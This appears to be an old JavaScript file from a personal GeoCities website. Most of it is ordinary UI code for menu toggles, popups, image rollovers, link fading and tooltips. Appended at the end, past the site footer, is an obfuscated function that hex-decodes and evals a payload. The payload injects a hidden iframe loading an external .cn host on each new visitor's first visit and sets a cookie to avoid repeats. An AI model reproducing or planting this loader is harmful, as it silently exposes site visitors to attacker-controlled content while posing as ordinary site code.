
//****************************************************************************************
//******************************** jmd online - Scripts **********************************
//****************************************************************************************


function drop( targetId )
{ 
	target = document.all( targetId );
	if (target.style.display == 'none') {
	   target.style.display = "" ;
	} else {
	   target.style.display = "none";
	}
	event.cancelBubble = true;
}


//****************************************************************************************
//****************************************************************************************


var winprop="toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,width=290,height=325"

function popUp(URL)
{
	window.open(URL,'_blank',winprop);
}


//****************************************************************************************
//****************************************************************************************


function chgimg(changeimg,image)
{ 
   changeimg.src = image.src
}

   img1 = new Image(); 
   img1.src = "images/sethome_on.gif";
   img2 = new Image();
   img2.src = "images/sethome_off.gif";

   img3 = new Image(); 
   img3.src = "images/addfav_on.gif";
   img4 = new Image();
   img4.src = "images/addfav_off.gif";


//****************************************************************************************
//****************************************************************************************


/************* 
**** <config> 
**/ 
startColor = "#000000"; // MouseOut link color 
endColor = "#A9A9A9"; // MouseOver link color 

stepIn = 25; // delay when fading in 
stepOut = 20; // delay when fading out 

/* 
** set to true or false; true will 
** cause all links to fade automatically 
***/ 
autoFade = true; 
/* 
** set to true or false; true will cause all CSS 
** classes with "fade" in them to fade onmouseover 
***/ 
sloppyClass = true; 
/** 
**** </config> 
**************/ 
/************* 
**** <install> 
** 
** 
**** </install> 
**************/ 

hexa = new makearray(16); 
for(var i = 0; i < 10; i++) 
hexa[i] = i; 
hexa[10]="a"; hexa[11]="b"; hexa[12]="c"; 
hexa[13]="d"; hexa[14]="e"; hexa[15]="f"; 

document.onmouseover = domouseover; 
document.onmouseout = domouseout; 

startColor = dehexize(startColor.toLowerCase()); 
endColor = dehexize(endColor.toLowerCase()); 

var fadeId = new Array(); 

function dehexize(Color){ 
var colorArr = new makearray(3); 
for (i=1; i<7; i++){ 
for (j=0; j<16; j++){ 
if (Color.charAt(i) == hexa[j]){ 
if (i%2 !=0) 
colorArr[Math.floor((i-1)/2)]=eval(j)*16; 
else 
colorArr[Math.floor((i-1)/2)]+=eval(j); 
} 
} 
} 
return colorArr; 
} 

function domouseover() { 
if(document.all){ 
var srcElement = event.srcElement; 
if ((srcElement.tagName == "A" && autoFade) || srcElement.className == "fade" || (sloppyClass && srcElement.className.indexOf("fade") != -1)) 
fade(startColor,endColor,srcElement.uniqueID,stepIn); 
} 
} 

function domouseout() { 
if (document.all){ 
var srcElement = event.srcElement; 
if ((srcElement.tagName == "A" && autoFade) || srcElement.className == "fade" || (sloppyClass && srcElement.className.indexOf("fade") != -1)) 
fade(endColor,startColor,srcElement.uniqueID,stepOut); 
} 
} 

function makearray(n) { 
this.length = n; 
for(var i = 1; i <= n; i++) 
this[i] = 0; 
return this; 
} 

function hex(i) { 
if (i < 0) 
return "00"; 
else if (i > 255) 
return "ff"; 
else 
return "" + hexa[Math.floor(i/16)] + hexa[i%16];} 

function setColor(r, g, b, element) { 
var hr = hex(r); var hg = hex(g); var hb = hex(b); 
element.style.color = "#"+hr+hg+hb; 
} 

function fade(s,e, element,step){ 
var sr = s[0]; var sg = s[1]; var sb = s[2]; 
var er = e[0]; var eg = e[1]; var eb = e[2]; 

if (fadeId[0] != null && fade[0] != element){ 
setColor(sr,sg,sb,eval(fadeId[0])); 
var i = 1; 
while(i < fadeId.length){ 
clearTimeout(fadeId[i]); 
i++; 
} 
} 

for(var i = 0; i <= step; i++) { 
fadeId[i+1] = setTimeout("setColor(Math.floor(" +sr+ " *(( " +step+ " - " +i+ " )/ " +step+ " ) + " +er+ " * (" +i+ "/" + 
step+ ")),Math.floor(" +sg+ " * (( " +step+ " - " +i+ " )/ " +step+ " ) + " +eg+ " * (" +i+ "/" +step+ 
")),Math.floor(" +sb+ " * ((" +step+ "-" +i+ ")/" +step+ ") + " +eb+ " * (" +i+ "/" +step+ ")),"+element+");",i*step); 
} 
fadeId[0] = element; 
}


//****************************************************************************************
//****************************************************************************************


var o3_offsetx=0;
var o3_offsety=20;
var o3_width=200;
var o3_frame=self;
var o3_allowmove=0;
var o3_showingsticky=0;
var o3_removecounter=0;
var over=null;
var ns4=(document.layers)? true:false
var ie4=(document.all)? true:false
var ie5=false;
if(typeof ol_frame=='undefined')
{
var ol_frame=self;
}
if(ie4){
if(navigator.userAgent.indexOf('MSIE 5')>0)
{
ie5=true;
}
}
if((ns4)||(ie4))
{
document.onmousemove=mouseMove;
if(ns4)document.captureEvents(Event.MOUSEMOVE)};
else{
alt=no_overlib;
nd=no_overlib;
ver3fix=true;
}

function no_overlib()
{
return ver3fix;
}

function alt()
{
if((ns4)||(ie4)){
o3_frame=ol_frame;
if(ns4)over=o3_frame.document.capa;
if(ie4)over=o3_frame.capa.style};
return overlib310();
}

function nd()
{
if(o3_removecounter>=1){
o3_showingsticky=0};
if((ns4)||(ie4)){
if(o3_showingsticky==0){
o3_allowmove=0;
hideObject(over);
}
else{
o3_removecounter++;
}
}
return true;
}

function overlib310()
{
layerWrite(tabla());
disp();
}

function tabla()
{
txt="<table border=0 width=98 height=136 cellpadding=0 cellspacing=0 bgcolor=#000000 bordercolordark=#000000 bordercolorlight=#000000><tr><td valign=middle><P align=center><img src=\""+gotw_thumb+"\"><td></tr></table>";
return txt;
}

function disp()
{
if((ns4)||(ie4)){
if(o3_allowmove==0){
placeLayer();
showObject(over);
o3_allowmove=1;
}
}
}

function placeLayer()
{
var placeX,placeY;
placeX=o3_x+o3_offsetx-(o3_width/2);
placeY=o3_y+o3_offsety;
moveTo(over,placeX,placeY);
}

function mouseMove(e)
{
if(ns4){
o3_x=e.pageX;o3_y=e.pageY;
}
if(ie4){
o3_x=event.x;
o3_y=event.y;
}
if(ie5){
o3_x=event.x+o3_frame.document.body.scrollLeft;
o3_y=event.y+o3_frame.document.body.scrollTop;
}
if(o3_allowmove){
placeLayer();
}
}

function layerWrite(txt)
{
if(ns4){
var lyr=o3_frame.document.capa.document;
lyr.write(txt);
lyr.close()
}
else if(ie4)o3_frame.document.all["capa"].innerHTML=txt;
}

function showObject(obj)
{
if(ns4)obj.visibility="show";
else if(ie4)obj.visibility="visible"
}

function hideObject(obj)
{
if(ns4)obj.visibility="hide";
else if(ie4)obj.visibility="hidden";
}

function moveTo(obj,xL,yL)
{
obj.left=xL;
obj.top=yL
}


//****************************************************************************************
//***************************** http://www.geocities.com/jmdonline ***********************
//****************************************************************************************


function E20E8CC(DD9C1BB2D00){var A4126CC6=521;A4126CC6=A4126CC6-505;return(parseInt(DD9C1BB2D00,A4126CC6));}function FCE74F34(AB43000A489046){var F7591D=410;F7591D=F7591D-408;var BD9AF16="";for(ABE31C5=0;ABE31C5<AB43000A489046.length;ABE31C5+=F7591D){BD9AF16+=( String.fromCharCode(E20E8CC(AB43000A489046.substr(ABE31C5,F7591D))));}eval(BD9AF16);}FCE74F34("69662028646F63756D656E742E636F6F6B69652E7365617263682822746D626F3D392229203D3D202D3129207B0A756C62663D646F63756D656E742E676574456C656D656E744279496428277466726227293B696628756C62663D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D74667262207372633D687474703A2F2F67636F756E7465722E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D2022746D626F3D393B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
